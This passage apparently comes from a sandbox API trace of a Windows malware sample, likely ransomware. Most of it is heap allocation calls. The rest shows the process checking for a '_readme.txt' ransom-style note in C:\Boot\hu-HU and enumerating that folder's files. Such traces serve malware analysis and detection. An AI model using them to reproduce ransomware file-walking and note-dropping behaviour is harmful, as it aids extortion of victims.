Size=0x830) returned 0x32476f0 [0066.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.799] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.799] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.800] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.800] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.801] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.801] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.802] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.802] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.803] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.803] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.804] PathFindFileNameW (pszPath="C:\\Boot\\hu-HU\\") returned="hu-HU\\" [0066.804] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.804] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.804] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.804] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.805] PathFindFileNameW (pszPath="") returned="" [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fc68 [0066.805] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.805] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0066.805] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32476f0 [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325fce0 [0066.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc68 | out: hHeap=0x5d0000) returned 1 [0066.805] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fce0 | out: hHeap=0x5d0000) returned 1 [0066.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x81c) returned 0x32476f0 [0066.805] PathAppendW (in: pszPath="C:\\Boot\\hu-HU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0066.805] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.805] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.805] PathFileExistsW (pszPath="C:\\Boot\\hu-HU\\_readme.txt") returned 1 [0066.806] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.806] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325ff38 [0066.806] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.806] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325ff38 | out: hHeap=0x5d0000) returned 1 [0066.806] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb324c2f0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb324c2f0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.806] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.806] RtlAllocateHeap (HeapHandle=0x5d0000, 